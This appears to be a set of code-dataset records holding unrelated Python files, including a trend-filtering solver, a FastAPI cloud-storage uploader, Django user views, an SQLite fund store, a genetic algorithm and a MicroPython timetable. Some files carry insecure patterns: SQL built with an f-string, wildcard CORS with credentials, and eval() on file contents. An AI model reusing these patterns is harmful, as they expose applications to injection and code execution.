day==worldTime//10:\n\t\t\tprint(\"Day%3d: %d %d %d\" % (day+1, infectedNum, confirmedNum, curedNum))\n\t\t\tinfectedTotal.append(infectedNum)\n\t\t\tconfirmedTotal.append(confirmedNum)\n\t\t\tcuredTotal.append(curedNum)\n\t\t\tinfectedNow.append(infectedNum-curedNum)\n\n\t\t\tday += 1\n\n\n\tplot_pic(infectedTotal, confirmedTotal, curedTotal, infectedNow)\n","repo_name":"izcat/WuhanNewPneumonia","sub_path":"Python/code/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":5466,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"60"} +{"seq_id":"230028918","text":"#/usr/bin/python3 \nimport math\nimport sys\nimport numpy as np\nimport scipy as scipy\nfrom scipy import sparse\nimport scipy.optimize as opt\nimport matplotlib.pyplot as plt\nimport time \n\n######################################################################################################################################################\n# Pentru mai multe detalii, algoritmul este bine descris in https://www.stat.cmu.edu/~ryantibs/convexopt/lectures/primal-dual.pdf\n######################################################################################################################################################\n\n# Load time series data: S&P 500 price log.\ndataset = np.loadtxt(open('snp500.txt', 'rb'), delimiter=\",\", skiprows=1) # y\ndatasetLength = dataset.size\n\n\nD = np.zeros( ( datasetLength - 2, datasetLength ) )\nfor i in range( datasetLength - 2) :\n D[ i ][ i ] = 1 \n D[ i ][ i + 1 ] = -2 \n D[ i ][ i + 2 ] = 1 \n \n\ndef l1_trend( landa, y, D ) :\n \n #Parametrii initiali\n MAX_ITER = 40\n MAX_LITER = 20\n #Lungimea datelor\n N = len( y )\n #Lungimea x\n M = N - 2\n #Parametrii backtracking, vezi prin ppt-ul de mai sus\n MU = 2\n ALPHA = 0.01\n BETA = 0.5\n STEP = 1\n \n T = 1e-10\n TOL = 1e-4\n \n def prim_problem( v, x, D ) :\n return 0.5 * np.transpose( v ) @ D @ np.transpose( D ) @ v + landa * np.sum( np.abs( D @ x ) )\n \n # 0.5 vT DDT v − yT DT v\n def dual_problem( v, y, D ) :\n return 0.5 * np.transpose( v ) @ D @ np.transpose( D ) @ v - np.transpose( y ) @ np.transpose( D ) @ v\n \n \n #Initializari\n z = np.zeros( M )\n mu1 = np.ones( M )\n mu2 = np.ones( M )\n\n #Constrangeri\n f1 = z - landa \n f2 = -z - landa\n\n #Precalculeaza matricea D * D.T\n DDT = D @ np.transpose( D )\n \n for iterations in range( MAX_ITER ) :\n \n print( \"Sunt la iteratia : \" + str(iterations) )\n\n #evalueaza problema primala in v\n prim_val = prim_problem( z, y - (np.transpose(D) @ z), D )\n \n #evalueaza problema duala in v\n dual_val = -dual_problem( z, y, D ) \n gap = prim_val - dual_val \n \n #daca diferenta dintre solutia in problema primala si cea duala e aprope zero, am gasit minim \n #asta se intampla pentru ca strong duality\n print(\"gap : \" + str(gap) )\n print( \"step : \" + str(STEP) )\n if gap <= TOL :\n return y - np.transpose( D ) @ z\n \n \n if STEP >= 0.2 : \n T = max( 2 * M * MU / gap, 1.2 * T ) \n \n\n rz = DDT @ z - D @ y + mu1 - mu2\n\n #scoatele inafara pentru optimizare la inmultire de matrici diagonale\n aux_1 = np.multiply(1/f1,mu1)\n aux_2 = np.multiply(1/f2,mu2)\n \n #facem matricea diagonala abia dupa. Aici era o inmutire de 2 mat diag, dar asta e echivalent\n j1 = np.diag( aux_1 )\n j2 = np.diag( aux_2 ) \n\n\n S = DDT - np.diag( np.multiply( aux_1, aux_2) )\n dbg_start = time.time();\n\n r = D @ y - DDT @ z + (1/T) / f1 - (1/T) / f2 \n\n \n dz = sparse.linalg.spsolve( sparse.csr_matrix(S), r)\n \n dmu1 = -( mu1 + (1/T) / f1 + j1 @ dz )\n dmu2 = -( mu2 + (1/T) / f2 - j2 @ dz ) \n \n resDual = rz\n resCent = np.concatenate( (-1/T - np.multiply(mu1,f1), -1/T - np.multiply(mu2,f2)), axis=0 )\n residual= np.concatenate( (resDual, resCent), axis=0 ) \n \n \n stap = 1\n for liter in range( MAX_LITER ) :\n #incearca sa te deplasezi\n newz = z + STEP*dz\n newmu1 = mu1 + STEP*dmu1\n newmu2 = mu2 + STEP*dmu2\n newf1 = newz - landa\n newf2 = -newz - landa\n\n #calculeaza noua pozitie\n newResDual = DDT @ newz - D @ y + newmu1 - newmu2\n newResCent = np.concatenate( (-1/T - np.multiply(newmu1,newf1), -1/T - np.multiply(newmu2,newf2)), axis=0 )\n newResidual= np.concatenate( (newResDual, newResCent), axis=0 )\n \n #daca suntem pe descrestere oprestete\n if max( max( newf1 ), max(newf2) ) < 0 and np.linalg.norm( newResidual ) <= ( 1-ALPHA*STEP ) * np.linalg.norm( residual ) :\n break\n \n #micsoreaza pasul\n STEP = BETA * STEP \n \n #pregateste valorile pentru urmatoarea iteratie\n z = newz\n mu1 = newmu1\n mu2 = newmu2\n f1 = newf1\n f2 = newf2\n \n return y - np.transpose( D ) @ z\n\n\nx = l1_trend( 100, dataset, D )\nplt.plot( np.linspace( 1, len(dataset), len(dataset) ), dataset )\nplt.plot( np.linspace( 1, len(x), len(x) ), x )\nplt.show()\n ","repo_name":"matei-georged/python-l_1-Trend-Filtering","sub_path":"l1_filltering.py","file_name":"l1_filltering.py","file_ext":"py","file_size_in_byte":4748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"13370958515","text":"import uvicorn\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom fastapi import FastAPI, File, UploadFile\nfrom google.cloud import storage, bigquery\n\napp = FastAPI()\n\nstorage_client = storage.Client.from_service_account_json('acn-uki-ds-data-ai-project-5ff8dcf544cc.json')\nbucket_name_one = 'document-extractor-input' \nbucket_name_two = 'document-extractor-success'\n\nbigquery_client = bigquery.Client.from_service_account_json('acn-uki-ds-data-ai-project-c27b43b1fd5d.json')\n\norigins = [\"*\"]\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=origins,\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\n@app.post('/upload')\nasync def upload_files(files: list[UploadFile] = File(...)):\n try:\n for file in files:\n file_name = file.filename\n\n bucket = storage_client.bucket(bucket_name_one)\n blob = bucket.blob(file_name)\n\n blob.upload_from_file(file.file, content_type=file.content_type)\n\n print(f'File {file_name} uploaded successfully!')\n\n return {'message': 'Files uploaded successfully!'}\n except Exception as e:\n print('Error uploading files:', e)\n return {'message': 'Error uploading files'}\n \n\n@app.post('/success')\nasync def upload_files(file: UploadFile = File(...)):\n try: \n\n file_name = file.filename\n\n bucket = storage_client.bucket(bucket_name_two)\n blob = bucket.blob(file_name)\n\n blob.upload_from_file(file.file, content_type=file.content_type)\n\n print(f'File {file_name} uploaded successfully!')\n\n return {'message': 'Files uploaded successfully!'}\n except Exception as e:\n print('Error uploading files:', e)\n return {'message': 'Error uploading files'}\n\n@app.get('/data')\nasync def get_data():\n try:\n query = \"\"\"\n SELECT \n * \n FROM \n `acn-uki-ds-data-ai-project.Demo_Dataset.document_ai_output`\n\n LIMIT \n 25 \n \"\"\"\n\n job = bigquery_client.query(query)\n rows = job.result()\n\n data = []\n for row in rows:\n data.append(row)\n\n print(data[0])\n return {'data': data}\n\n except Exception as e:\n return {\"error\": str(e)} \n\n \n\n","repo_name":"majumdarSammya/testRep","sub_path":"serverFile.py","file_name":"serverFile.py","file_ext":"py","file_size_in_byte":2278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"73630222590","text":"#!/usr/bin/env python3\n\n# XXX: Put a license here\n\n\"\"\"Main analysis scripts for septins and membranes.\"\"\"\n\nimport argparse\nimport os\nimport sys\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\n# Magic to get the proper library directories\nsys.path.append(os.path.join(os.path.dirname(__file__), '..', 'Lib'))\nfrom stylelib.common_styles import septin_runs_stl\nfrom septin_seed import SeptinSeed\n\ndef parse_args():\n parser = argparse.ArgumentParser(prog='SeptinAnalysis.py')\n\n # General options\n parser.add_argument('-sd', '--seed', action = 'store_true',\n help = 'Run analysis on a single seed')\n\n parser.add_argument('-d', '--workdir', action = 'store_true',\n help = 'Working directory')\n\n parser.add_argument('--yaml', type = str,\n help = 'YAML file to read')\n\n\n\n # Control options\n parser.add_argument('-A', '--analyze', action = 'store_true',\n help = 'Analyze data from simulation(s)')\n\n parser.add_argument('-F', '--force', action = 'store_true',\n help = 'Force complete analysis of simulation(s)')\n\n parser.add_argument('-G', '--graph', action = 'store_true',\n help = 'Graph data after analysis has been performed.')\n\n opts = parser.parse_args()\n return opts\n\nclass SeptinAnalysis(object):\n r\"\"\"Septin and membrane analysis\n \"\"\"\n def __init__(self, opts):\n self.opts = opts\n self.cwd = os.getcwd()\n\n self.ReadOpts()\n\n self.ProgOpts()\n\n def ReadOpts(self):\n if not self.opts.workdir:\n self.opts.workdir = os.path.abspath(self.cwd)\n elif not os.path.exists(self.opts.workdir):\n raise IOError(\"Working directory {} does not exist.\".format(\n self.opts.workdir) )\n else:\n self.opts.workdir = os.path.abspath(self.opts.workdir)\n\n def ProgOpts(self):\n r\"\"\"Run selected commands\n \"\"\"\n\n if self.opts.seed:\n self.AnalyzeSeed()\n\n def AnalyzeSeed(self):\n r\"\"\"Analyze a single simulation seed\n \"\"\"\n sd = SeptinSeed(self.opts.workdir, self.opts)\n sd.Analyze()\n\n if self.opts.graph:\n plt.style.use(septin_runs_stl)\n fig, axarr = plt.subplots(3, 1, figsize=(15,10))\n sd.Graph(axarr)\n fig.tight_layout()\n fig.savefig('septin_parameters.pdf', dpi=fig.dpi)\n \n\n\n##########################################\nif __name__ == \"__main__\":\n opts = parse_args()\n x = SeptinAnalysis(opts)\n","repo_name":"cedelmaier/dragonfruit","sub_path":"analysis/Septin/SeptinAnalysis.py","file_name":"SeptinAnalysis.py","file_ext":"py","file_size_in_byte":2538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"22494822506","text":"from .models import Usuario\nfrom .serializers import UsuarioSerializer\nfrom rest_framework import status\nfrom rest_framework.views import APIView\nfrom rest_framework.exceptions import AuthenticationFailed\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.permissions import IsAuthenticated, IsAuthenticatedOrReadOnly\nfrom rest_framework.parsers import JSONParser \nfrom django.http.response import JsonResponse\nfrom django.contrib.auth.models import AbstractBaseUser\nfrom rest_framework.response import Response\nfrom django.contrib.auth import authenticate, login\n\n\nclass RegisterView(APIView):\n permission_classes = [IsAuthenticatedOrReadOnly]\n \n def post(self, request): \n if request.method == 'POST':\n usuario_serializer = UsuarioSerializer(data=request.data)\n if usuario_serializer.is_valid():\n usuario_serializer.save()\n return JsonResponse(usuario_serializer.data, status=status.HTTP_201_CREATED) \n return JsonResponse(usuario_serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n \nclass DeleteView(APIView):\n permission_classes = [IsAuthenticatedOrReadOnly]\n \n def delete(self, request, usuario_id):\n try:\n usuario = Usuario.objects.get(pk=usuario_id)\n except Usuario.DoesNotExist:\n return JsonResponse({'message' : 'O usuario nao existe'}, status=status.HTTP_404_NOT_FOUND)\n \n if request.method == 'DELETE':\n usuario.delete()\n return JsonResponse({'message' : 'Usuario foi deletado com sucesso!'}, status=status.HTTP_204_NO_CONTENT)\n return JsonResponse(status=status.HTTP_400_BAD_REQUEST)\n \n@api_view(['GET'])\ndef all_users(request):\n if request.method == 'GET':\n usuario = Usuario.objects.all()\n usuario_serializer = UsuarioSerializer(usuario, many=True)\n return JsonResponse(usuario_serializer.data, safe=False)\n \n@api_view(['GET'])\ndef user_detail(request, usuario_id):\n try:\n user = Usuario.objects.get(pk=usuario_id)\n except Usuario.DoesNotExist:\n return JsonResponse({'message' : 'Usuario nao existe'}, status=status.HTTP_404_NOT_FOUND)\n \n if request.method == 'GET':\n usuario_serializer = UsuarioSerializer(user)\n return JsonResponse(usuario_serializer.data)\n\nclass LoginView(APIView):\n def post(self, request):\n user = request.data['user']\n password = request.data['password']\n \n try:\n usuario = Usuario.objects.filter(user=user).first()\n if not usuario.check_password(password):\n return JsonResponse({'message' : 'Senha incorreta'}, status=status.HTTP_401_UNAUTHORIZED)\n \n return JsonResponse({'message' : 'User logado'}, status=status.HTTP_200_OK)\n except:\n return JsonResponse({'message' : 'Usuario nao achado'}, status=status.HTTP_404_NOT_FOUND)\n \n \n #if user is None:\n # raise AuthenticationFailed('User not found!')\n \n ","repo_name":"guizen-dev/lovepage_api","sub_path":"usuario/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3071,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"32603872096","text":"import sqlite3\nimport datetime\nconn = sqlite3.connect('investmentfund.db')\n\ncursor = conn.cursor()\n\n\n#CREATE TABLE\ncursor.execute(\"\"\"CREATE TABLE IF NOT EXISTS invest_fund (\n fund_id integer PRIMARY KEY, \n fund_name text, \n fund_manager text, \n description text, \n nav integer, \n creation_date text, \n performance real\n )\"\"\")\n\nconn.commit()\nconn.close()\n\n# Fetch Fund Data\ndef get_all_fund(cursor):\n cursor.execute(\"\"\"SELECT * FROM invest_fund\"\"\")\n return (cursor.fetchall())\n\ndef get_fund_id_query(cursor,fund_id):\n cursor.execute(f\"\"\"SELECT * FROM invest_fund where fund_id = {fund_id}\"\"\")\n return (cursor.fetchall())\n\n# Migrate data from SQLite to SQL (currently using SQLite to insert as an example of db structure)\ndef create_new_fund(cursor,resp):\n cursor.execute(\"\"\"\n INSERT INTO invest_fund (\n fund_id, \n fund_name, \n fund_manager, \n description, \n nav, \n creation_date, \n performance\n )\n VALUES\n (\n ?, \n ?, \n ?, \n ?, \n ?, \n ?, \n ?\n )\"\"\", (resp.fund_id,resp.fund_name,resp.fund_manager,resp.description,resp.nav,resp.creation_date,resp.performance))\n return (\"Success\")\n\n\ndef update_new_fund(cursor,resp):\n cursor.execute(\"\"\"\n UPDATE invest_fund set\n fund_name = ?, \n fund_manager = ?, \n description = ?, \n nav = ?, \n performance = ?\n WHERE\n fund_id = ?\"\"\", (resp.fund_name,resp.fund_manager,resp.description,resp.nav,resp.performance,resp.fund_id))\n return (\"Success\")\n\ndef delete_fund_query(cursor, resp):\n cursor.execute(\"\"\"\n DELETE FROM invest_fund where fund_id = ?\"\"\", (resp,))\n return (\"Success\")\n","repo_name":"tsunahyper/AHAM-Practical","sub_path":"task_3_4_5.py","file_name":"task_3_4_5.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"10215335660","text":"'''\nTime complexity = O(N^2*log N)\nSpace complexity = O(N)\n'''\n\nimport math\n\nclass Solution:\n def numPoints(self, points: List[List[int]], r: int) -> int:\n ans = 1\n for x, y in points:\n out = []\n for x0, y0 in points:\n \n d = ((x0 - x)**2 + (y0-y)**2)**0.5\n if (x!= x0 or y != y0) and d <= 2*r:\n \n angle = math.atan2(y0 - y, x0 - x)\n delta = math.acos(d/(2*r))\n #entry\n out.append((angle - delta, 1))\n #exit\n out.append((angle + delta, -1))\n \n val = 1\n for _ , entry in sorted(out, key = lambda x: (x[0], -x[1])):\n val = val + entry\n ans = max(ans, val)\n \n return ans","repo_name":"knightrohit/leetcode_python","sub_path":"max_no_of_darts.py","file_name":"max_no_of_darts.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"43564269189","text":"import os\ndef execute_aggregations():\n from google.cloud import bigquery\n client = bigquery.Client()\n\n project_name = os.environ.get(\"PROJECT_ID\", 'Specified environment variable is not set.')\n query = f\"\"\"\n INSERT tweetsds.aggregated (trends, count)\n WITH t AS (\n SELECT \n REGEXP_EXTRACT_ALL(tweet_text, r\"#(\\w+)\") AS hashtags\n FROM `{project_name}.tweetsds.tweets`\n )\n\n SELECT unnested_hashtags AS trend , count(unnested_hashtags) as count FROM t, UNNEST(t.hashtags) unnested_hashtags\n GROUP BY unnested_hashtags\n \"\"\"\n query_job = client.query(query)\n query_job.result()\n\n\ndef tweets_control_pubsub(event, context):\n import base64\n print(event)\n if 'data' in event:\n message = base64.b64decode(event['data']).decode('utf-8')\n if message == \"AGGREGATE_FEED\":\n print(\"AGGREGATE_FEED\")\n execute_aggregations()\n print(\"TWEETS_AGGREGATED\")\n","repo_name":"scarymrgrey/Twitter-Aggregator.GoogleCloud","sub_path":"src/agg/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"9627780480","text":"import base64, logging\n\nfrom fastapi import APIRouter, HTTPException, Query\nfrom pydantic import BaseModel\n\nfrom io import BytesIO\nfrom PIL import Image\n\nfrom ..Utils.petpetgif import petpet\nfrom ..Utils.ChoyenGen import generator\nfrom ..Utils import Clients\n\nlogger = logging.getLogger('uvicorn')\n\nclass GeneratorResult(BaseModel):\n\tresult: str\n\nrouter = APIRouter(\n\tprefix=\"/gen\",\n\troute_class=Clients.RouteErrorHandler\n)\n\n@router.get(\"/pet/\", response_model=GeneratorResult)\nasync def GeneratePet(qq: int = Query(..., ge=0)):\n\tlogger.info('Generating gif ')\n\tasync with Clients.client_retry.get(f'http://q1.qlogo.cn/g?b=qq&nk={qq}&s=640') as profile:\n\t\tif profile.ok:\n\t\t\twith BytesIO() as buffered:\n\t\t\t\tpetpet.make(BytesIO(await profile.read()), buffered)\n\t\t\t\timg_str = base64.b64encode(buffered.getvalue())\n\t\t\treturn {\"result\": img_str}\n\t\telse:\n\t\t\traise HTTPException(status_code=404, detail=\"无法获取用户头像\")\n\n\n\n@router.get(\"/choyen/\", response_model=GeneratorResult)\nasync def GenerateChoyen(upper: str = Query(..., min_length=1), lower: str = Query(..., min_length=1)):\n\tlogger.info('Generating image ')\n\timg = generator.genImage(word_a=upper, word_b=lower)\n\twith BytesIO() as buffered:\n\t\timg.resize((int(img.size[0] * 0.75), int(img.size[1] * 0.75)), Image.Resampling.LANCZOS).save(buffered, format='jpeg')\n\t\timg_str = base64.b64encode(buffered.getvalue())\n\treturn {\"result\": img_str}","repo_name":"Numendacil/ElanorBot-Archive","sub_path":"PythonServer/Routers/Generate.py","file_name":"Generate.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"16741907809","text":"\"\"\"\nAutomatic crash project code.\n\"\"\"\nimport os\n\nfrom django.urls import path\nfrom arkfbp.common.django.app.automation.flows.admin.main import Main as AdminView\nfrom arkfbp.common.django.app.automation.flows.meta_config.main import Main as MetaConfigView\nfrom arkfbp.utils.util import json_load\n\nREQUIRED_FIELDS = ('name', 'type', 'meta', 'api', 'module')\nDEFAULT_API_TYPES = {'create': 'POST', 'delete': 'DELETE', 'update': 'PATCH', 'retrieve': 'GET'}\nALLOW_HTTP_METHOD = ('POST', 'GET', 'DELETE', 'PUT', 'PATCH')\n\n\nclass MetaConfig:\n \"\"\"\n Meta config, it will expose to user.\n \"\"\"\n\n default_view_flow = AdminView\n\n def __init__(self, data=None, file=None, view_flow=None, **kwargs):\n if data:\n assert isinstance(data, dict)\n if file:\n assert os.path.isfile(file)\n data = json_load(file)\n\n for item in REQUIRED_FIELDS:\n if item not in data.keys():\n raise Exception(f'Field:{item} must be contained in meta config file.')\n\n self.data = data\n self.view_flow = view_flow or self.default_view_flow\n self._cls_attrs = kwargs.get('cls_attrs', None)\n\n def get_urls(self):\n \"\"\"\n 所有的admin api通过一个ViewFlow统一入口。\n \"\"\"\n urlpatterns = []\n # traverse all api in meta config.\n for url_suffix, details in self.data['api'].items():\n allow_http_method = []\n _cls_name = self.data['name'].capitalize()\n url_name = self.data['name']\n # traverse all http methods in the api config.\n\n # {\"post\":{\"name\":\"\", \"type\":\"create\", \"request\":{}, \"response\":{}}}\n # http_method => post\n # detail => {\"name\":\"\", \"type\":\"create\", \"request\":{}, \"response\":{}}\n for http_method, detail in details.items():\n _http_method = http_method.upper()\n if _http_method not in ALLOW_HTTP_METHOD:\n continue\n\n _cls_name += f'{detail[\"name\"].capitalize()}'\n url_name += f'-{detail[\"name\"]}'\n allow_http_method.append(_http_method)\n detail.update(http_method=_http_method)\n # build the view class.\n _cls_attrs = {\n 'config': self.data,\n 'api_config': details,\n 'allow_http_method': allow_http_method,\n }\n _cls_bases = (self.view_flow, )\n view_class = type(_cls_name, _cls_bases, _cls_attrs)\n urlpatterns += [path(url_suffix, view_class.pre_as_view(), name=url_name)]\n\n return urlpatterns\n\n\nclass MetaConfigs:\n \"\"\"\n Multiple JSON files for Meta Config.\n \"\"\"\n def __init__(self, file_dir):\n assert os.path.isdir(file_dir)\n self.file_dir = file_dir\n\n def get_urls(self):\n \"\"\"\n encapsulate config meta.\n only support json file.\n \"\"\"\n urlpatterns = []\n for root, _, files in os.walk(self.file_dir):\n for file in files:\n if file.endswith('.json'):\n urlpatterns += MetaConfig(file=os.path.join(root, file)).get_urls()\n urlpatterns += self.config_url()\n return urlpatterns\n\n def config_url(self):\n \"\"\"\n add config url\n \"\"\"\n _cls_attrs = {'allow_http_method': ['GET'], 'file_dir': self.file_dir, 'debug': False}\n _cls_bases = (MetaConfigView, )\n view_class = type('MetaConfig', _cls_bases, _cls_attrs)\n return [path('meta_config//', view_class.pre_as_view(), name='meta_config')]\n","repo_name":"longguikeji/arkfbp-py","sub_path":"arkfbp/common/django/app/automation/flows/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":3618,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"} +{"seq_id":"39446107750","text":"import random\r\n\r\nfrom bird import Bird\r\n\r\nclass GA:\r\n def __init__(self, game):\r\n self.game = game\r\n\r\n def nextGeneration(self):\r\n self.calculateFitness()\r\n if (self.game.foundBestBird):\r\n child = Bird(self.game)\r\n child.brain = self.game.bestBirdBrain\r\n self.game.birds.append(child)\r\n else:\r\n self.game.birds.append(self.game.savedBirds[random.randrange(self.game.population)])\r\n for i in range(self.game.population - 1):\r\n self.game.birds.append(self.pickOne())\r\n self.game.savedBirds = []\r\n\r\n def calculateFitness(self):\r\n summ = 0\r\n for bird in self.game.savedBirds:\r\n bird.calculateFitness()\r\n summ += bird.fitness\r\n for bird in self.game.savedBirds:\r\n bird.fitness /= summ\r\n\r\n def pickOne(self):\r\n r1 = random.uniform(0, 1)\r\n index = 0\r\n while r1 > 0:\r\n r1 -= self.game.savedBirds[index].fitness\r\n index += 1\r\n index -= 1\r\n\r\n bird1 = self.game.savedBirds[index]\r\n\r\n r2 = random.uniform(0, 1)\r\n index_2 = 0\r\n\r\n while r2 > 0:\r\n r2 -= self.game.savedBirds[index_2].fitness\r\n index_2 += 1\r\n index_2 -= 1\r\n\r\n bird2 = self.game.savedBirds[index_2]\r\n\r\n child = Bird(self.game)\r\n\r\n child.brain.in_hidden1_weights = bird1.brain.crossover(bird1.brain.in_hidden1_weights,\r\n bird2.brain.in_hidden1_weights)\r\n child.brain.in_hidden1_biases = bird1.brain.crossover(bird1.brain.in_hidden1_biases,\r\n bird2.brain.in_hidden1_biases)\r\n child.brain.hidden1_output_weights = bird1.brain.crossover(bird1.brain.hidden1_output_weights,\r\n bird2.brain.hidden1_output_weights)\r\n child.brain.hidden1_output_biases = bird1.brain.crossover(bird1.brain.hidden1_output_biases,\r\n bird2.brain.hidden1_output_biases)\r\n\r\n child.brain.mutate(child.brain.in_hidden1_weights, 0.3)\r\n child.brain.mutate(child.brain.in_hidden1_biases, 0.3)\r\n child.brain.mutate(child.brain.hidden1_output_weights, 0.3)\r\n child.brain.mutate(child.brain.hidden1_output_biases, 0.3)\r\n return child\r\n","repo_name":"sushantPatrikar/flappybirdAI","sub_path":"ga.py","file_name":"ga.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"60"} +{"seq_id":"14577238070","text":"SLOT_TIME = 15 # (in min) slots are 15 minutes (Slots must divide the hour!)\nTIMETABLE_FILENAME = \"timetable\"\nfrom ulogging import info, debug\nimport time\nfrom My_time import my_time\n# Helper functions\n# ======================================\ndef pt(t = None):\n \"\"\"\n Format a time integer in human readable form (pt for Pretty format Time)\n \"\"\"\n if t == None:\n t = my_time()\n y, mm, d, h, m, s = time.localtime(t)[0:6]\n return f\"{d:02d}.{mm:02d}.{y} {h:02d}:{m:02d}:{s:02d}\"\nclass Timetable():\n \"\"\"\n Implements a timetable to store the slots where we turn the pump on\n \"\"\"\n # timetable is an array that stores tuples [wday,hour,min,cnt], where cnt is a counter,\n # which ensures that entries are deleted if not used\n timetable = [] # Leere Tabelle\n slot_time = SLOT_TIME\n def __init__(self):\n self.read_fromdisk() # If we have a timetable on disk, read it\n def check_item(self, t = None, increase = True):\n \"\"\"\n If we get a new item, we search whether this falls in an already existing slot\n in this case increment the counter in the timetable\n If not add the item as new slot\n \"\"\"\n if t == None:\n t = my_time()\n index = self._in_timetable(t)\n if index == None:\n if increase: # Do not add a slot if increase == False e.g. scheduled_run\n self._add_slot(t)\n return\n # Already in the table or no new slot -> handle counter (wday,h,m,s,cnt]\n if increase:\n self.timetable[index][4] += 1\n info(f\"{pt()}: Slot found. Counter increased {self._format_slot(self.timetable[index])}\")\n else:\n self.timetable[index][4] -= 1\n info(f\"{pt()}: Slot found. Counter decreased {self._format_slot(self.timetable[index])}\")\n if self.timetable[index][4] < 1:\n self.timetable.pop(index)\n debug(\"Entry removed\")\n def next_alarm(self,t = None):\n \"\"\"\n Returns next alarm time in s from t (or my_time() == now)\n or False if no entry in the timetable\n \"\"\"\n if t == None:\n t = my_time()\n week = 7 * 24 * 60 * 60 # One week in seconds\n if len(self.timetable) < 1:\n return False\n index = self._next_slot(t)\n slot_wd, slot_h, slot_m, slot_s = self.timetable[index][0:-1] # We do not need the counter here\n slot_base_time = self._to_base_time([slot_h, slot_m, slot_s, slot_wd])\n base_time = self._to_base_time(time.localtime(t)[3:7])\n if slot_base_time <= base_time:\n return slot_base_time + week - base_time\n else:\n return slot_base_time - base_time\n def write_todisk(self, name=TIMETABLE_FILENAME):\n \"\"\"\n store the timetable on disk\n \"\"\"\n if len(self.timetable) < 1:\n debug(\"No data in timetable to write\")\n return False\n with open(name, \"w\") as f:\n o=f.write(str(self.timetable))\n debug(f\"{o} Bytes written to {name}\")\n return True\n def read_fromdisk(self, name=TIMETABLE_FILENAME):\n \"\"\"\n Reads a timetable from disk and initializes the local variable\n \"\"\"\n try:\n with open(name,\"r\") as f:\n o = t_table = f.read()\n debug(f\"{o} Bytes read from {name}\")\n self.timetable = eval(t_table)\n info(f\"{len(self.timetable)} entries read from {name}\")\n except OSError:\n debug(f\"{pt()}: No file {name} found.\")\n return False\n return True\n def _add_slot(self, t):\n \"\"\"\n Add an item to the timetable and sort the table\n Return True in case less than two entries remain\n \"\"\"\n h, m, s, wd = time.localtime(t)[3:7]\n # Force Slots\n slot_m = m // self.slot_time * self.slot_time\n m = slot_m\n s = 0\n cnt = 1 # Remove after one week\n slot = [wd,h,m,s,cnt]\n info(f\"{pt()}: Adding Slot {self._format_slot(slot)}\")\n self.timetable.append(slot)\n # Sort the table using all entries 0 padded\n self.timetable.sort(key=lambda elem: \"\".join([f\"{i:02}\" for i in elem]))\n if len(self.timetable) < 2:\n # Probably need to schedule next alarm\n return True\n return False\n def _format_slot(self, slot):\n \"\"\"\n Human readable form of a slot\n \"\"\"\n days = [\"Mon\",\"Tue\",\"Wed\",\"Thu\",\"Fri\",\"Sat\",\"Sun\"]\n return f\"'{days[slot[0]]}: {slot[1]:02}:{slot[2]:02}:{slot[3]:02} Counter:{slot[4]}'\"\n def _to_base_time(self, lst):\n \"\"\"\n converts a list [h,m,s,wd] to base in 1970 to ensure that we can substract\n \"\"\"\n h, m, s, wd = lst\n base_date = (1970, 1, 5 + wd, h, m, s, 0, 0, 0) # (1970, 1, 5, 0, 0, 0, 0, 0, 0)\n #print(base_date)\n base_time = time.mktime(base_date)\n return base_time\n def _next_slot(self, t):\n \"\"\"\n Find the next slot for a given time t\n We assume the timetable is sorted!\n returns index or false if timetable empty\n \"\"\"\n h, m, s, wd = time.localtime(t)[3:7]\n slot_str = \"\".join(f\"{i:02}\" for i in [wd,h,m,s]) # The last 0 is a dummy\n # Create auxiliary table just containing zero padded strings form the first 4 slot elements,\n # e.g. without the counter\n timetable_str = [ \"\".join([f\"{i:02}\" for i in elem[0:-1]]) for elem in self.timetable]\n for i in range(0, len(timetable_str)):\n if timetable_str[i] < slot_str:\n continue\n return i\n # If there are entries in the timetable, wrap around\n if len(timetable_str) > 0:\n return 0 # First element\n return False\n def _in_timetable(self, t):\n \"\"\"\n Check wether time is in the timetable\n returns timetable index or None\n \"\"\"\n local_base_time = self._to_base_time(time.localtime(t)[3:7])\n for i in range(0,len(self.timetable)):\n wday, hour, min, sec = self.timetable[i][0:-1]\n base_time = self._to_base_time([hour,min,sec,wday])\n max_time = base_time + self.slot_time * 60\n min_time = base_time\n if min_time <= local_base_time <= max_time:\n return i\n return None\n","repo_name":"martinkoehler/wwpump","sub_path":"timetable.py","file_name":"timetable.py","file_ext":"py","file_size_in_byte":6389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"9403195133","text":"\"\"\"\nThis file defines the structure of stored data,\nincluding the field types and possibly related information\n\"\"\"\n\nimport uuid\nfrom dataclasses import dataclass\n\nfrom django.db import models\n\nfrom HMS.domain.activity.models import Activity\n\n\n@dataclass(frozen=True)\nclass SpecializationID:\n \"\"\"\n This is a value object that should be used to generate and pass the\n 